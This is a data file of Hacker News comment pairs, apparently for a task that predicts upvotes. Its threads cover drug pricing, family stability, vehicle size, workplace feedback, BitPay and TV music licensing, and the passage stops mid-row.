20,275,952 | 20,273,840 | 1 | 2 | 20,273,228 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>btilly</author><text><i>If I were an insurance company, I&#x27;d consider buying a small pharma outfit and target it at these orphan drugs just to save money.</i><p>Here is why you&#x27;d rethink that position.<p>By law, insurance companies have to spend 80-85% of their revenue on patient care. Which means that their potential profits are limited by medical expenses paid out. As long as they have properly projected and accounted for the medical expenses in their business model, they therefore have a financial incentive to let expenses be high.</text><parent_chain><item><author>toyg</author><text>&gt; [monthly] $43,354.73<p>That&#x27;s half a million per year. At that price, unless syprine&#x27;s manufacturing process requires digging diamonds, one could probably save money by hiring a dedicated chemist (100k p&#x2F;y or thereabout) and giving them the necessary money to make the drug just for one.<p>If I were an insurance company, I&#x27;d consider buying a small pharma outfit and target it at these orphan drugs just <i>to save money</i>.</text></item><item><author>maire</author><text>This is an issue beyond insulin. I hope they don&#x27;t just focus on insulin.<p>Generics do not work to lower prices on drugs because there is price fixing between companies. Price fixing is illegal in the US but does not seem to be enforced.<p>I discovered this because my sister in law has a rare disease and she depends on a rare drug called syprine. Her drug costs went from 177.00 a month to $8000.00 a month where it hovered there for a year, then it went up to $43,354.73 a month.<p>The US funds the manufacture and research on drugs for rare diseases but only while the drug is under patent. Once the drug is out of patent then there is no regulation. These are called &quot;orphan drugs.&quot;<p>It turns out that Valeant (the maker of syprine) was guilty of price fixing and was under investigation by the federal trade commission. The case went all the way to the supreme court which came down against Valeant. The end result seems to be nothing.</text></item></parent_chain></comment><story><title>The insulin racket: why a drug made free 100 years ago is recently expensive</title><url>https://prospect.org/article/insulin-racket</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>dariusj18</author><text>Interesting point about insurance companies saving money that way. I know that some insurance companies are starting to run medical practices and pharmacies, I wonder how far away them making their own drugs is. Unfortunately, I fear that that&#x27;s the direction of further distopia.</text><parent_chain><item><author>toyg</author><text>&gt; [monthly] $43,354.73<p>That&#x27;s half a million per year. At that price, unless syprine&#x27;s manufacturing process requires digging diamonds, one could probably save money by hiring a dedicated chemist (100k p&#x2F;y or thereabout) and giving them the necessary money to make the drug just for one.<p>If I were an insurance company, I&#x27;d consider buying a small pharma outfit and target it at these orphan drugs just <i>to save money</i>.</text></item><item><author>maire</author><text>This is an issue beyond insulin. I hope they don&#x27;t just focus on insulin.<p>Generics do not work to lower prices on drugs because there is price fixing between companies. Price fixing is illegal in the US but does not seem to be enforced.<p>I discovered this because my sister in law has a rare disease and she depends on a rare drug called syprine. Her drug costs went from 177.00 a month to $8000.00 a month where it hovered there for a year, then it went up to $43,354.73 a month.<p>The US funds the manufacture and research on drugs for rare diseases but only while the drug is under patent. Once the drug is out of patent then there is no regulation. These are called &quot;orphan drugs.&quot;<p>It turns out that Valeant (the maker of syprine) was guilty of price fixing and was under investigation by the federal trade commission. The case went all the way to the supreme court which came down against Valeant. The end result seems to be nothing.</text></item></parent_chain></comment><story><title>The insulin racket: why a drug made free 100 years ago is recently expensive</title><url>https://prospect.org/article/insulin-racket</url></story> |
661,710 | 661,642 | 1 | 2 | 661,631 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>mdasen</author><text>Most definitely. But it isn't like people are out to get you. Once you've shown success, people think (rightly or not) that you can duplicate it again. And they want in on that. They want to invest their money there because it seems more assured.<p>If you haven't shown any past success, then you're a risk. What makes you more likely to succeed than any random person?<p>This is why I like to have a few nice, running web apps of my own. When applying for jobs, they show that I've "succeeded" on my own (beyond what I might have contributed to on a team at my previous jobs). Sure, there are probably many people much smarter than me who don't have such apps to show off. However, my past "success" (at writing code and bringing it to production) is there.<p>The problem with the $15,000 songwriter that the article mentions is that they were a risk when first signed and so they only got a little. Even as they've proven themselves not to be a risk with their weekly submissions, they already accepted the bad terms and there's little reason for the record company to be "nice" and give them more. Likewise, if the $500,000 advance person is terrible, the record company has agreed to certain terms and there's no reason for them to be "nice" and renegotiate down because they're crap.<p>The largest part of this is that if something looks like it will succeed with or without help, it seems like a sure thing. Sure things don't require the rewards of high risk things because the chance of loss is low.</text><parent_chain></parent_chain></comment><story><title>Show success before asking for help</title><url>http://sivers.org/success-first</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>jasondavies</author><text>This is what happens on the Dragon's Den. The Dragons are much more likely to invest in someone who can prove that they can make a small success on their own, and who has the balance sheet or sales statistics to prove it.<p>Even if someone has a stellar product or service, if they have only sold a meagre amount to friends and family in two years the Dragons start to get tetchy and either ditch them, or ask for a huge chunk of the company in return for their investment.<p>Of course, I'm sure the Dragon's Den isn't necessarily much like the real world, but it's interesting to note the things they look for.</text><parent_chain></parent_chain></comment><story><title>Show success before asking for help</title><url>http://sivers.org/success-first</url></story> |
31,146,675 | 31,146,677 | 1 | 2 | 31,143,279 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>danans</author><text>&gt; And how do you explain high levels of family stability in countries that are much poorer?<p>Less individual freedom, greater direct economic dependency on others in your group, and also the threat of ostracization, excommunication, and destitution if you go against its rules. Basically, there are extremely high cost&#x2F;stakes associated with going it on your own.<p>But on the other side there are also good things that come from greater direct interdependency, like perhaps less individual alienation and a greater sense of shared purpose, and access to community resources when you follow the prescribed rules.</text><parent_chain><item><author>rayiner</author><text>How does a “flat lining” of wages of cause family stability to <i>go down</i>? And how do you explain high levels of family stability in countries that are much poorer?</text></item><item><author>the_solenoid</author><text>I agree - and will take it one step further: he misses the root causes of &quot;instability&quot;, and I bet it tracks directly with the gutting of the middle class starting in the 70&#x27;s, and&#x2F;or the same flat-lining of wages (not keeping up with inflation etc) despite huge increases in productivity in about the same time period.<p>Money is a huge stressor in relationships. Misogyny is still a huge thing (to my utter surprise honestly). Abuse, etc. Options for financial stability to escape these things I would suspect to contribute as well.</text></item><item><author>jcstk</author><text>I can appreciate this perspective because I used to have it. I even wrote a similar blog post 10 years ago - it was on the top of HN and the comment section was a beautiful shitshow. For me, this perspective was a good story to tell myself - it justified why I was only investing my time in “work”, and validated me for having “come so far”.<p>Over time, I have reflected and shifted this perspective. That reflection centered around the question the author hasn’t asked himself yet: who creates these expectations? It’s always some loose definition like “society” or “elite”, or some other handy wavy grouping of people.<p>But, to be clear, those expectations are coming from the author. That’s his perspective of what the world thinks, based on his interactions, based on what he chooses to read, listen to, etc. He&#x27;s not describing anyone but himself.<p>I found that if I find myself projecting onto social norms, society, or some other loose definition of “they”, what I’m really doing is projecting a part of myself that I haven’t been honest about yet.</text></item></parent_chain></comment><story><title>No one expects young men to do anything and they are responding by doing nothing</title><url>https://robkhenderson.substack.com/p/no-one-expects-young-men-to-do-anything</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>philistine</author><text>I think you&#x27;re trying to think that stable families become less stable if their waged stagnate. They don&#x27;t. What happens is that in aggregate, with stagnating wages, there are less stable (middle-class) families in society.<p>For so-called <i>poorer countries</i>, they are differently structured. It&#x27;s tough to compare their family units with our rich nations.</text><parent_chain><item><author>rayiner</author><text>How does a “flat lining” of wages of cause family stability to <i>go down</i>? And how do you explain high levels of family stability in countries that are much poorer?</text></item><item><author>the_solenoid</author><text>I agree - and will take it one step further: he misses the root causes of &quot;instability&quot;, and I bet it tracks directly with the gutting of the middle class starting in the 70&#x27;s, and&#x2F;or the same flat-lining of wages (not keeping up with inflation etc) despite huge increases in productivity in about the same time period.<p>Money is a huge stressor in relationships. Misogyny is still a huge thing (to my utter surprise honestly). Abuse, etc. Options for financial stability to escape these things I would suspect to contribute as well.</text></item><item><author>jcstk</author><text>I can appreciate this perspective because I used to have it. I even wrote a similar blog post 10 years ago - it was on the top of HN and the comment section was a beautiful shitshow. For me, this perspective was a good story to tell myself - it justified why I was only investing my time in “work”, and validated me for having “come so far”.<p>Over time, I have reflected and shifted this perspective. That reflection centered around the question the author hasn’t asked himself yet: who creates these expectations? It’s always some loose definition like “society” or “elite”, or some other handy wavy grouping of people.<p>But, to be clear, those expectations are coming from the author. That’s his perspective of what the world thinks, based on his interactions, based on what he chooses to read, listen to, etc. He&#x27;s not describing anyone but himself.<p>I found that if I find myself projecting onto social norms, society, or some other loose definition of “they”, what I’m really doing is projecting a part of myself that I haven’t been honest about yet.</text></item></parent_chain></comment><story><title>No one expects young men to do anything and they are responding by doing nothing</title><url>https://robkhenderson.substack.com/p/no-one-expects-young-men-to-do-anything</url></story> |
740,395 | 739,691 | 1 | 2 | 739,624 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>kalvin</author><text>Wow, one commenter built a business from the same idea (sorry to repost a comment, but it's pretty great.):<p>"I have been doing the same thing since 2001. Only I live in Cook County Illinois, the second most populated county behind Orange County, California.<p>So my database has upwards of 1,000,000+ properties in it (residential, commercial, and industrial).<p>Funny thing…I took the experiment one step further. I fed every single house in the county through the algorithm, to see who else had a similar appeal case.<p>Lo and behold, 65% of the county was being overassessed.<p>So I had two choices:
1) Class action lawsuit on behalf of the county
2) Mass mailing. Gimme $25, I give you the appeal info.<p>I chose two, and have been mopping up ever since. If you don’t win the appeal (all public record) you get a refund."</text><parent_chain></parent_chain></comment><story><title>An almost perfect real-world hack</title><url>http://lbrandy.com/blog/2009/08/an-almost-perfect-hack/</url><text></text></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>conorgil145</author><text>Just goes to show that if you make the extra effort a lot of the time things will tend to work out. This guy was extremely prepared and didn't even need the information that he gathered with an awesome day's worth of coding because the lawyers thought he wouldn't even show up!<p>Nice work though. Hopefully all of the work he did will help someone else save some $$ too because he said that he posted the DB online.</text><parent_chain></parent_chain></comment><story><title>An almost perfect real-world hack</title><url>http://lbrandy.com/blog/2009/08/an-almost-perfect-hack/</url><text></text></story> |
39,249,865 | 39,249,623 | 1 | 3 | 39,246,950 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>pxmpxm</author><text>Had the same exact sentiment with the MH370 mishap - technology has made the planet <i>seem</i> so small that these type of events up being a good reality check:<p>A multi million dollar piece of equipment that continuously talks to space can go still go poof, with 200+ people onboard.</text><parent_chain><item><author>behnamoh</author><text>Incidents like this remind me just how vast the planet is. Zooming out on Google Maps, you might think that compared to our body size, the size of our houses, cities, counties, etc. isn&#x27;t that large after all; sure you look like ants in comparison but the surface area seems traversable. And even if it&#x27;s not, we have radars that can scan vast swaths of the surrounding areas, no?<p>Wrong. The Earth is unmeasurably huge compared to any human-made technology (and that includes radars, cities, etc.), and that&#x27;s just the surface of the planet. Add the third dimension (and much more difficult to scan, no less) of the oceans and air, and you&#x27;d wonder how the heck we can still find our way on flights. It&#x27;s a fragile tech, and when it crashes (literally), it&#x27;s almost impossible for us to find where it happened.</text></item></parent_chain></comment><story><title>In 1950, a U.S. troop plane vanished without a trace in the Yukon</title><url>https://www.cbc.ca/documentaries/in-1950-a-u-s-troop-plane-carrying-44-passengers-vanished-without-a-trace-in-the-yukon-1.7063704</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>m463</author><text>That&#x27;s why after a plane trip across the country, the amazingly high prices for land&#x2F;real estate seems like it must be a scam.</text><parent_chain><item><author>behnamoh</author><text>Incidents like this remind me just how vast the planet is. Zooming out on Google Maps, you might think that compared to our body size, the size of our houses, cities, counties, etc. isn&#x27;t that large after all; sure you look like ants in comparison but the surface area seems traversable. And even if it&#x27;s not, we have radars that can scan vast swaths of the surrounding areas, no?<p>Wrong. The Earth is unmeasurably huge compared to any human-made technology (and that includes radars, cities, etc.), and that&#x27;s just the surface of the planet. Add the third dimension (and much more difficult to scan, no less) of the oceans and air, and you&#x27;d wonder how the heck we can still find our way on flights. It&#x27;s a fragile tech, and when it crashes (literally), it&#x27;s almost impossible for us to find where it happened.</text></item></parent_chain></comment><story><title>In 1950, a U.S. troop plane vanished without a trace in the Yukon</title><url>https://www.cbc.ca/documentaries/in-1950-a-u-s-troop-plane-carrying-44-passengers-vanished-without-a-trace-in-the-yukon-1.7063704</url></story> |
29,923,367 | 29,923,653 | 1 | 2 | 29,916,214 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>buscoquadnary</author><text>I&#x27;ll just throw out there that I have 3 small children, and we had to upsize our vehicle to accompany them, so now I drive me small sub-compact, but to haul our kids we had to upgrade to a minivan. In a lot of discussions I see around transport it often feels as though people like to pretend that those with small children don&#x27;t exist.<p>Like no matter how great public transit is trying to transport 3 rambunctious under 6&#x27;s isn&#x27;t going to work for our family or anyone else on the public transit for any meaningful trip.</text><parent_chain><item><author>bryanmgreen</author><text>Ooooh, related one of my favorite topics.<p>Part of the reason modern lots are so big and why parking covers so much area is simply because cars are too big! There is zero reason a person needs to own a 7 seat SUV to transport 3 people or five 2x4s twice a year. The proliferation of oversized vehicles continues to exacerbate a significant number of local and global issues and I&#x27;m of the belief that we need strong regulation to limit the size of vehicles.</text></item></parent_chain></comment><story><title>To stop building heat islands, stop overbuilding parking lots</title><url>https://www.sightline.org/2022/01/11/to-stop-building-heat-islands-stop-overbuilding-parking-lots/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>decafninja</author><text>I grew up in the 80s and 90s. My recollection is that the family vehicle of choice for my parents and those of most of my friends was what you&#x27;d call the &quot;generic midsized family sedan&quot; - Honda Accord, Toyota Camry, etc.<p>All of us managed just fine. Even taking extended multiday family roadtrips.<p>Plus, the Accord of the late 80s and early 90s was closer in size to a 2022 Civic than 2022 Accord.<p>Nowadays people insist that they need at minimum a Honda Pilot, Toyota Highlander, or the current fave - Kia Telluride, to transport a single kid.</text><parent_chain><item><author>bryanmgreen</author><text>Ooooh, related one of my favorite topics.<p>Part of the reason modern lots are so big and why parking covers so much area is simply because cars are too big! There is zero reason a person needs to own a 7 seat SUV to transport 3 people or five 2x4s twice a year. The proliferation of oversized vehicles continues to exacerbate a significant number of local and global issues and I&#x27;m of the belief that we need strong regulation to limit the size of vehicles.</text></item></parent_chain></comment><story><title>To stop building heat islands, stop overbuilding parking lots</title><url>https://www.sightline.org/2022/01/11/to-stop-building-heat-islands-stop-overbuilding-parking-lots/</url></story> |
34,757,655 | 34,756,848 | 1 | 3 | 34,754,276 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>iudqnolq</author><text>For some reason whenever this comes up there&#x27;ll be one person saying &quot;I bet you didn&#x27;t know it&#x27;s for copyright&quot; and another saying &quot;I bet you didn&#x27;t know it&#x27;s for SEO&quot;. I&#x27;ve yet to see either prove anything beyond that it&#x27;s a plausible explanation that could fit the minimal known facts.</text><parent_chain><item><author>bialpio</author><text>Off-topic but the life story is there to make them eligible to be protected by copyright. IANAL.<p>Source: <a href="https:&#x2F;&#x2F;copyrightalliance.org&#x2F;are-recipes-cookbooks-protected-by-copyright&#x2F;" rel="nofollow">https:&#x2F;&#x2F;copyrightalliance.org&#x2F;are-recipes-cookbooks-protecte...</a></text></item><item><author>nickjj</author><text>&gt; I&#x27;d have loved to first read six paragraphs about how the author&#x27;s grandmother raised them on home grown threads and greenlets.<p>With recipes, often times your problem is you want to learn how to make something where having the steps listed out is the most important thing. The story behind the recipe isn&#x27;t important to solve your problem but for tech the story around the choice is important. Often times the &quot;why&quot; is really important and I really like hearing about what led someone to use something first. Often times that&#x27;s more important or equally as important as the implementation details.<p>It wouldn&#x27;t make sense for this post given its title but if someone were making a post about why they chose to use async in Python I&#x27;d expect and hope that half of the post goes into the gory details of how they tried alternatives and what their shortcomings were for their specific use cases. That would help me as the reader generalize their post to my specific use cases and see if it applies.</text></item><item><author>isoprophlex</author><text>Well, I don&#x27;t know, I kinda miss the human angle. I&#x27;d have loved to first read six paragraphs about how the author&#x27;s grandmother raised them on home grown threads and greenlets :^)</text></item><item><author>edfletcher_t137</author><text>This is a great blog post. Concise, lacking fluff or extraneous prose, it gets right to the point, presents the primary-source reference and then gets right to the solution. A bit of editorializing in the middle but that&#x27;s completely allowed when writing this tightly. Well damn done, OP.<p>And also it&#x27;s <i>great</i> information that I - like I&#x27;m sure many of you - also never noticed. THANK YOU!</text></item></parent_chain></comment><story><title>A Heisenbug lurking in async Python</title><url>https://textual.textualize.io/blog/2023/02/11/the-heisenbug-lurking-in-your-async-code/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>yunohn</author><text>When is the last time you heard of online recipe blogs enforcing copyright claims on other blogspam? Ridiculous.<p>The real reason is simple, people who write recipes aren’t robots - they’re expressing their stories and emotions, while explaining how to make food that’s dear to them..</text><parent_chain><item><author>bialpio</author><text>Off-topic but the life story is there to make them eligible to be protected by copyright. IANAL.<p>Source: <a href="https:&#x2F;&#x2F;copyrightalliance.org&#x2F;are-recipes-cookbooks-protected-by-copyright&#x2F;" rel="nofollow">https:&#x2F;&#x2F;copyrightalliance.org&#x2F;are-recipes-cookbooks-protecte...</a></text></item><item><author>nickjj</author><text>&gt; I&#x27;d have loved to first read six paragraphs about how the author&#x27;s grandmother raised them on home grown threads and greenlets.<p>With recipes, often times your problem is you want to learn how to make something where having the steps listed out is the most important thing. The story behind the recipe isn&#x27;t important to solve your problem but for tech the story around the choice is important. Often times the &quot;why&quot; is really important and I really like hearing about what led someone to use something first. Often times that&#x27;s more important or equally as important as the implementation details.<p>It wouldn&#x27;t make sense for this post given its title but if someone were making a post about why they chose to use async in Python I&#x27;d expect and hope that half of the post goes into the gory details of how they tried alternatives and what their shortcomings were for their specific use cases. That would help me as the reader generalize their post to my specific use cases and see if it applies.</text></item><item><author>isoprophlex</author><text>Well, I don&#x27;t know, I kinda miss the human angle. I&#x27;d have loved to first read six paragraphs about how the author&#x27;s grandmother raised them on home grown threads and greenlets :^)</text></item><item><author>edfletcher_t137</author><text>This is a great blog post. Concise, lacking fluff or extraneous prose, it gets right to the point, presents the primary-source reference and then gets right to the solution. A bit of editorializing in the middle but that&#x27;s completely allowed when writing this tightly. Well damn done, OP.<p>And also it&#x27;s <i>great</i> information that I - like I&#x27;m sure many of you - also never noticed. THANK YOU!</text></item></parent_chain></comment><story><title>A Heisenbug lurking in async Python</title><url>https://textual.textualize.io/blog/2023/02/11/the-heisenbug-lurking-in-your-async-code/</url></story> |
25,805,316 | 25,804,873 | 1 | 2 | 25,803,568 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>_j6y1</author><text>Completely agree that HOW matters so much!<p>To me and probably many others (albeit often subconsciously), point 3 comes across as blaming, overly-generalized, and lacking in personal (and group) accountability for your experiences.<p>What about something like,<p>&quot;Hey John, the last time you did X, Y happened, which had Z consequences.<p>I felt { disappointed &#x2F; let down &#x2F; concerned &#x2F; irritated &#x2F; worried &#x2F; angry &#x2F; $whatever_emotions_came_up_for_YOU }.<p>Other team members reported feeling $emotions.<p>What was going on there for you?<p>How can I &#x2F; we help you to avoid X in the future?<p>Do you have any ideas about what you could focus or work on in order for Y not to happen again?<p>Here are some specific requests I have for you in order to avoid this kind of thing in the future: $requests
&quot;<p>The edgy part about this for many people is taking ownership for their experience, we live in a society with a lot of deconditioning around this . Nobody else but you is responsible for how you feel. John didn&#x27;t let you down, you had expectations about what he was going to do, and to your assessment, he didn&#x27;t meet those expectations (that&#x27;s also a reasonable thing to say, I think -- I would give more detail and context about specifically how those expectations weren&#x27;t met). That you felt one way or another about this has nothing to do with John, and there&#x27;s a lot of subtle and overt problems that can arise in a relationship when we attribute our experience to another person with our language.<p>I also mention that it sounds overly-generalized because saying &quot;when you do X&quot; has an implicit assumption that he will continue doing X in the future, and isn&#x27;t really all that specific about why X has certain consequences - I think it&#x27;s better to use specific situations in the past when X happened and to talk about what came up when that occurred. This is basically what I&#x27;m hearing you say in Point 2 :)<p>edit: fixed variables, wording</text><parent_chain><item><author>tchalla</author><text>In the end, HOW you deliver feedback matters. Personally, I have three important characteristics for a feedback.<p>Point 1 : &quot;Be Specific&quot;. I can not stress this enough. Please point out specific observable behaviour.<p>Point 2 : Frame feedback in terms of team&#x2F;organisational goals. Every team has a purpose within the organisation. It&#x27;s a team game and every team member should know the feedback in context of the team game. Individual feedback, team context.<p>Point 3 : Cite the past but look for future changes in behaviour. You can not change the past but you can influence the future.<p>For example, &quot;Hey John! When you do X, it helps the team achieve Y. Please continue doing so!&quot; or &quot;Hey John! When you do Z, it lets the team down. What can you do differently?&quot;.</text></item><item><author>ChuckMcM</author><text>A lot of insight in the parent comment here. Most importantly this: <i>&quot;...there seems to be two camps of people: those who want constant positive reinforcement and those who it completely has the opposite effect ...&quot;</i><p>If you are leading and or managing a team, one of the most important things you need to know are how do people want their feedback. My experience is that it varies from person to person (I suspect that there are many more than two camps :-)) and as such it is unlikely that you can meet that need in group feedback.<p>Because of that, my choice these days is to split feedback into two fora, the group status meeting and 1:1s. In the group, feedback is modulated by progress against plan. So &quot;we need to work harder&quot; for behind plan, &quot;neutral&quot; for on plan, and &quot;this team is killing it&quot; for ahead of plan. In 1:1s the feedback is based on the expectations that have been set for that team member, do they know what is expected of them? Do they know how it is being measured? And where are they with respect to measurement vs expectation.<p>1:1 feedback often times (for me) takes on more of a mentor&#x2F;mentee tone rather than a how are we doing on the schedule tone. Doing that well also requires a certain amount of trust which, as a manager, you have to earn by being honest with your team members.</text></item><item><author>halfmatthalfcat</author><text>I&#x27;ve felt a lot of &quot;false&quot; positivity espoused by project managers, especially those in charge of agile ceremonies.<p>Examples: &quot;I&#x27;m really {proud,impressed} of all of you for your output this sprint&quot;, &quot;You guys are {killing,crushing,owning} it&quot;, &quot;You all should be very proud of what you guys did&quot;, etc.<p>These aren&#x27;t given after periods of crunch time, they&#x27;re literally every week to the point where it feels so contrived and artificial. They&#x27;re given when we&#x27;re just doing normal, expected work.<p>I&#x27;ve mentioned this to colleagues and friends and there seems to be two camps of people: those who want constant positive reenforcement and those who it completely has the opposite effect, an annoyance. I guess I fall into the latter.</text></item></parent_chain></comment><story><title>Toxic positivity does more harm than good</title><url>https://www.bloomberg.com/news/articles/2021-01-14/what-is-fono-toxic-positivity-is-doing-more-harm-than-good</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>UpsilonAlpha</author><text>To add on to this. Following these steps will often avoid the problem described by GP. If you can&#x27;t find specific actions to praise, then there is a good chance the recipient will feel the praise is hollow.</text><parent_chain><item><author>tchalla</author><text>In the end, HOW you deliver feedback matters. Personally, I have three important characteristics for a feedback.<p>Point 1 : &quot;Be Specific&quot;. I can not stress this enough. Please point out specific observable behaviour.<p>Point 2 : Frame feedback in terms of team&#x2F;organisational goals. Every team has a purpose within the organisation. It&#x27;s a team game and every team member should know the feedback in context of the team game. Individual feedback, team context.<p>Point 3 : Cite the past but look for future changes in behaviour. You can not change the past but you can influence the future.<p>For example, &quot;Hey John! When you do X, it helps the team achieve Y. Please continue doing so!&quot; or &quot;Hey John! When you do Z, it lets the team down. What can you do differently?&quot;.</text></item><item><author>ChuckMcM</author><text>A lot of insight in the parent comment here. Most importantly this: <i>&quot;...there seems to be two camps of people: those who want constant positive reinforcement and those who it completely has the opposite effect ...&quot;</i><p>If you are leading and or managing a team, one of the most important things you need to know are how do people want their feedback. My experience is that it varies from person to person (I suspect that there are many more than two camps :-)) and as such it is unlikely that you can meet that need in group feedback.<p>Because of that, my choice these days is to split feedback into two fora, the group status meeting and 1:1s. In the group, feedback is modulated by progress against plan. So &quot;we need to work harder&quot; for behind plan, &quot;neutral&quot; for on plan, and &quot;this team is killing it&quot; for ahead of plan. In 1:1s the feedback is based on the expectations that have been set for that team member, do they know what is expected of them? Do they know how it is being measured? And where are they with respect to measurement vs expectation.<p>1:1 feedback often times (for me) takes on more of a mentor&#x2F;mentee tone rather than a how are we doing on the schedule tone. Doing that well also requires a certain amount of trust which, as a manager, you have to earn by being honest with your team members.</text></item><item><author>halfmatthalfcat</author><text>I&#x27;ve felt a lot of &quot;false&quot; positivity espoused by project managers, especially those in charge of agile ceremonies.<p>Examples: &quot;I&#x27;m really {proud,impressed} of all of you for your output this sprint&quot;, &quot;You guys are {killing,crushing,owning} it&quot;, &quot;You all should be very proud of what you guys did&quot;, etc.<p>These aren&#x27;t given after periods of crunch time, they&#x27;re literally every week to the point where it feels so contrived and artificial. They&#x27;re given when we&#x27;re just doing normal, expected work.<p>I&#x27;ve mentioned this to colleagues and friends and there seems to be two camps of people: those who want constant positive reenforcement and those who it completely has the opposite effect, an annoyance. I guess I fall into the latter.</text></item></parent_chain></comment><story><title>Toxic positivity does more harm than good</title><url>https://www.bloomberg.com/news/articles/2021-01-14/what-is-fono-toxic-positivity-is-doing-more-harm-than-good</url></story> |
15,809,335 | 15,809,560 | 1 | 2 | 15,808,968 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>ryankupyn</author><text>This is neat but sort of strange - I love the idea of a hardware package that makes fiddling with deep learning easy, but I wonder why Amazon went through the trouble of producing such a relatively niche product?<p>If I had to guess, this is going to be a great &quot;user education&quot; tool for AWS, designed to get new developers on the platform as early in the learning process as possible.</text><parent_chain></parent_chain></comment><story><title>AWS DeepLens – Deep learning enabled video camera for developers</title><url>https://aws.amazon.com/deeplens/</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>conorh</author><text>This is great for my chicken coop project :) I have been working with a raspberry pi and camera to train a system to recognize and respond to squirrels (close the feeder to stop them eating food). There are many other options to build this, but it is nice that this is an integrated system that is easy to train!</text><parent_chain></parent_chain></comment><story><title>AWS DeepLens – Deep learning enabled video camera for developers</title><url>https://aws.amazon.com/deeplens/</url></story> |
8,357,854 | 8,357,650 | 1 | 2 | 8,356,783 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>lnanek2</author><text>Yeah, prize disbursements were handled terribly. My team won BitPay&#x27;s prize at AngelHack SF, contacted them repeatedly, and were told to wait until all AngelHacks were over before anything would be done. Months and months later it arrived this week. We actually avoided BitPay intentionally at a couple hackathons after since no one was sure if they were just scammers or not.<p>That said, I had no problem with their API. They had an easy web checkout link that could be generated that worked fine in an Android WebView for my first implementation. Later at AngelHack SV I used their PHP API to generate invoices for specific prices for goods dynamically and was then still able to send people to their site to finish checkout and get redirected when it completed.<p>Didn&#x27;t really see any missing documentation and their site worked fine, responding quite quickly when money was sent to the barcode it showed or the link that could start a wallet app on Android, and their PHP sample code worked trivially. Who knows, maybe they&#x27;ve improved the docs and samples since you used it, though. Or you were trying to hack bitcore, which is a completely different level of difficulty.</text><parent_chain><item><author>trevordev</author><text>BitPay sponsored angel-hack Seattle that I participated in this summer. Their developer api was horrible and poorly documented wasting everyone time. I was in one of the few groups that got it to work. When asking when we would find out who won the 5 bitcoin prize for best use of it we were told to contact bitpay. I contacted them multiple times and support told me to to contact their CEO who ended up not responding to my emails. I will not use bitpay in the future.</text></item></parent_chain></comment><story><title>BitPay and PayPal</title><url>http://blog.bitpay.com/2014/09/23/bitpay-and-paypal-an-unbeatable-payment-partnership.html</url></story> | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>martindale</author><text>Hey, Eric with BitPay here. If you&#x27;re still waiting on information about AngelHack, email me: [email protected]<p>We just this past week launched our new REST API, which should be significantly better than our old API: <a href="http://blog.bitpay.com/2014/09/18/announcing-the-new-bitpay-api.html" rel="nofollow">http:&#x2F;&#x2F;blog.bitpay.com&#x2F;2014&#x2F;09&#x2F;18&#x2F;announcing-the-new-bitpay-...</a> – we spent a long time thinking very carefully about making the developer experience as smooth as possible, but I&#x27;m sure there are things we can be doing better. If you&#x27;ve any ideas on how we can improve it, please let me know.</text><parent_chain><item><author>trevordev</author><text>BitPay sponsored angel-hack Seattle that I participated in this summer. Their developer api was horrible and poorly documented wasting everyone time. I was in one of the few groups that got it to work. When asking when we would find out who won the 5 bitcoin prize for best use of it we were told to contact bitpay. I contacted them multiple times and support told me to to contact their CEO who ended up not responding to my emails. I will not use bitpay in the future.</text></item></parent_chain></comment><story><title>BitPay and PayPal</title><url>http://blog.bitpay.com/2014/09/23/bitpay-and-paypal-an-unbeatable-payment-partnership.html</url></story> |
35,727,194 | 35,725,245 | 1 | 3 | 35,724,634 | train | <instructions>Your goal is to analyze the following comment and estimate how highly it will be upvoted by the Hacker News community.</instructions><comment><author>macNchz</author><text>Sometimes these edits can be pretty subtle as well: a while ago my wife and I started watching the original early-90s Beverly Hills 90210 on one of the streaming platforms. It’s a kind of absurd and fun pop-cultural time capsule of a show. After a few episodes, though, I started to realize there was something not quite right.<p>It turns out that much of the music featured in the original airing of the show wasn’t licensed in a way it could be used long term, and over the years it has been replaced with terrible stock songs or jarringly anachronistic choices that sound totally out of place.<p>Entire scenes and episodes have been cut from the seasons distributed on streaming platforms, because they featured live concerts that couldn’t be edited. The original had performances by the Flaming Lips, among many others, that simply can’t be watched now, except if by chance someone copied an old VHS to YouTube.<p>Music was a big part of the original show–in addition to the live shows it featured all sorts of great pop songs from the time, which was part of why it was such a hit with teenagers when it aired. It’s such a bummer they stripped it all out!<p>There are some places online with copies of early DVD releases that have more music, but still not all of it. The original is locked away in a vault somewhere and almost certainly won’t ever be enjoyed in a complete state.</text><parent_chain><item><author>safety1st</author><text>The fact that even guys as influential as Spielberg and Tarantino are worried about having their past work censored is 